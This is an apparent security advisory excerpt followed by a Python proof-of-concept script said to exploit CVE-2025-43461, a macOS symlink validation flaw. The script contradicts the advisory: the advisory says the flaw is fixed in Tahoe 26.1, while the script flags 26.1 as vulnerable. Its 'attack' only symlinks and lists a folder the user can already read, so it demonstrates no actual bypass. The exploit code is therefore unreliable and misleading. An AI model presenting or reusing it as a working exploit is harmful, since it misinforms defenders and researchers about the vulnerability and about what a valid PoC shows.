This issue was addressed with improved validation of symlinks. This issue is fixed in macOS Tahoe 26.1. An app may be able to access protected user data.
The following code is for security research and authorized testing only.
python
# CVE-2025-43461 PoC - macOS Symlink Validation Bypass
# This PoC demonstrates the symlink validation issue in macOS Tahoe 26.1
# Note: This is for educational/research purposes only
import os
import sys
import subprocess
from pathlib import Path
def create_symlink_attack():
"""
Create a symlink to a protected directory to demonstrate the vulnerability.
In vulnerable versions, the system fails to properly validate symlink targets.
"""
# Target protected directory (example: Application Support folder)
protected_path = Path.home() / "Library" / "Application Support"
# Attacker's controlled symlink location
attack_symlink = Path.home() / "malicious_symlink"
try:
# Remove existing symlink if present
if attack_symlink.exists() or attack_symlink.is_symlink():
attack_symlink.unlink()
# Create symlink pointing to protected directory
# In vulnerable versions, this bypasses access controls
os.symlink(protected_path, attack_symlink)
print(f"[+] Symlink created: {attack_symlink} -> {protected_path}")
# Attempt to read through symlink (should be blocked but isn't in vulnerable versions)
if os.path.exists(attack_symlink):
print("[+] Symlink is accessible - vulnerability may be present")
# List contents through symlink
try:
contents = list(Path(attack_symlink).iterdir())
print(f"[+] Accessible contents: {len(contents)} items")
for item in contents[:5]: # Show first 5 items
print(f" - {item.name}")
except PermissionError:
print("[-] Access denied - system may be patched")
except Exception as e:
print(f"[-] Error: {e}")
def check_macos_version():
"""Check if running macOS Tahoe 26.1 or vulnerable version"""
try:
result = subprocess.run(['sw_vers', '-productVersion'],
capture_output=True, text=True)
version = result.stdout.strip()
print(f"[*] Current macOS version: {version}")
# Check if version contains "26.1" or is in vulnerable range
if "26.1" in version:
print("[!] Running macOS Tahoe 26.1 - may be vulnerable")
return True
else:
print("[*] Version check: may not be vulnerable")
return False
except Exception as e:
print(f"[-] Could not determine version: {e}")
return False
if __name__ == "__main__":
print("=" * 60)
print("CVE-2025-43461 Symlink Validation Bypass PoC")
print("=" * 60)
if sys.platform != 'darwin':
print("[-] This PoC is designed for macOS only")
sys.exit(1)
print("\n[*] Checking macOS version...")
is_vulnerable = check_macos_version()
if is_vulnerable:
print("\n[*] Attempting symlink attack...")
create_symlink_attack()
else:
print("\n[*] System may not be vulnerable to this CVE")